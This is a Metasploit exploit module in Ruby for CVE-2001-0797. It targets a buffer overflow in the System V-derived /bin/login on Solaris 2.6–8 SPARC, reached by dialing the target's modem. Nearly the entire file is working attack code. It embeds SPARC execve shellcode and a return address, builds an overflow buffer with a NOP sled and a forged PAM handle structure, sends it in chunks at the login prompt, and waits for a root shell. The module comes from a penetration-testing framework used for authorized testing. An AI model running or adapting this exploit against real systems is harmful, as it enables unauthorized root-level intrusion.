219 lines
5.6 KiB
Ruby
219 lines
5.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Dialup
|
|
include Msf::Module::Deprecated
|
|
|
|
moved_from 'exploit/dialup/multi/login/manyargs'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
|
|
'Description' => %q{
|
|
This exploit connects to a system's modem over dialup and exploits
|
|
a buffer overflow vulnerability in it's System V derived /bin/login.
|
|
The vulnerability is triggered by providing a large number of arguments.
|
|
},
|
|
'References' => [
|
|
['CVE', '2001-0797'],
|
|
['OSVDB', '690'],
|
|
['OSVDB', '691'],
|
|
['BID', '3681'],
|
|
['URL', 'https://web.archive.org/web/20120114122443/http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],
|
|
['URL', 'https://web.archive.org/web/20120114113100/http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],
|
|
['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_rlogin.c'],
|
|
],
|
|
'Author' => [
|
|
'I)ruid',
|
|
],
|
|
'Arch' => ARCH_TTY,
|
|
'Platform' => ['unix'],
|
|
'License' => MSF_LICENSE,
|
|
'Payload' => {
|
|
'Space' => 3000,
|
|
'BadChars' => '',
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Solaris 2.6 - 8 (SPARC)',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Ret' => 0x00027184,
|
|
# Solaris/SPARC special shellcode (courtesy of inode)
|
|
# execve() + exit()
|
|
'Shellcode' =>
|
|
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" \
|
|
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" \
|
|
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" \
|
|
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",
|
|
'NOP' => "\x90\x1b\x80\x0e"
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2001-12-12',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SERVICE_RESTARTS ],
|
|
'SideEffects' => [ IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def buildbuf
|
|
print_status("Targeting: #{target.name}")
|
|
|
|
retaddr = target.ret
|
|
shellcode = target['Shellcode']
|
|
nop = target['NOP']
|
|
|
|
# prepare the evil buffer
|
|
i = 0
|
|
buf = ''
|
|
|
|
# login name
|
|
buf[i, 4] = 'bin '
|
|
i += 4
|
|
|
|
# return address
|
|
buf[i, 4] = [retaddr].pack('N')
|
|
i += 4
|
|
buf[i, 1] = ' '
|
|
i += 1
|
|
|
|
# trigger the overflow
|
|
(0...60).each do |_c|
|
|
buf[i, 2] = 'a '
|
|
i += 2
|
|
end
|
|
|
|
# padding
|
|
buf[i, 4] = ' BBB'
|
|
i += 4
|
|
|
|
# nop sled and shellcode
|
|
(0...398).each do |_c|
|
|
buf[i, nop.size] = nop
|
|
i += nop.size
|
|
end
|
|
shellcode.each_byte do |b|
|
|
c = b.chr
|
|
case c
|
|
when '\\'
|
|
buf[i, 2] = '\\\\'
|
|
i += 2
|
|
when "\xff", "\n", ' ', "\t"
|
|
buf[i, 1] = '\\'
|
|
buf[i + 1, 1] = (((b & 0o300) >> 6) + '0').chr
|
|
buf[i + 2, 1] = (((b & 0o070) >> 3) + '0').chr
|
|
buf[i + 3, 1] = ((b & 0o007) + '0').chr
|
|
i += 4
|
|
else
|
|
buf[i, 1] = c
|
|
i += 1
|
|
end
|
|
end
|
|
|
|
# TODO: need to overwrite/skip the last byte of shellcode?
|
|
# i -= 1
|
|
|
|
# padding
|
|
buf[i, 4] = 'BBB '
|
|
i += 4
|
|
|
|
# pam_handle_t: minimal header
|
|
buf[i, 16] = 'CCCCCCCCCCCCCCCC'
|
|
i += 16
|
|
buf[i, 4] = [retaddr].pack('N')
|
|
i += 4
|
|
buf[i, 4] = [0x01].pack('N')
|
|
i += 4
|
|
|
|
# pam_handle_t: NULL padding
|
|
(0...52).each do |_c|
|
|
buf[i, 4] = [0].pack('N')
|
|
i += 4
|
|
end
|
|
|
|
# pam_handle_t: pameptr must be the 65th ptr
|
|
buf[i, 9] = "\x00\x00\x00 AAAA\n"
|
|
i += 9
|
|
|
|
return buf
|
|
end
|
|
|
|
def exploit
|
|
buf = buildbuf
|
|
|
|
print_status('Dialing Target')
|
|
if !connect_dialup
|
|
print_error('Exiting.')
|
|
return
|
|
end
|
|
|
|
print_status('Waiting for login prompt')
|
|
|
|
res = dialup_expect(/ogin:\s/i, 10)
|
|
# puts Rex::Text.to_hex_dump(res[:buffer])
|
|
if !(res[:match])
|
|
print_error('Login prompt not found... Exiting.')
|
|
disconnect_dialup
|
|
return
|
|
end
|
|
|
|
# send the evil buffer, 256 chars at a time
|
|
print_status('Sending evil buffer...')
|
|
# puts Rex::Text.to_hex_dump(buf)
|
|
len = buf.length
|
|
p = 0
|
|
while (len > 0)
|
|
i = len > 0x100 ? 0x100 : len
|
|
# puts Rex::Text.to_hex_dump(buf[p,i])
|
|
dialup_puts(buf[p, i])
|
|
len -= i
|
|
p += i
|
|
# if len > 0
|
|
# puts Rex::Text.to_hex_dump("\x04")
|
|
# dialup_puts("\x04") if len > 0
|
|
# end
|
|
select(nil, nil, nil, 0.5)
|
|
end
|
|
|
|
# wait for password prompt
|
|
print_status('Waiting for password prompt')
|
|
res = dialup_expect(/assword:/i, 30)
|
|
# puts Rex::Text.to_hex_dump(res[:buffer])
|
|
if !(res[:match])
|
|
print_error('Target is likely not vulnerable... Exiting.')
|
|
disconnect_dialup
|
|
return
|
|
end
|
|
|
|
print_status('Password prompt received, waiting for shell')
|
|
dialup_puts("pass\n")
|
|
|
|
res = dialup_expect(/#\s/i, 20)
|
|
# puts Rex::Text.to_hex_dump(res[:buffer])
|
|
if !(res[:match])
|
|
print_error('Shell not found.')
|
|
print_error('Target is likely not vulnerable... Exiting.')
|
|
disconnect_dialup
|
|
return
|
|
end
|
|
|
|
print_status('Success!!!')
|
|
handler
|
|
|
|
disconnect_dialup
|
|
end
|
|
end
|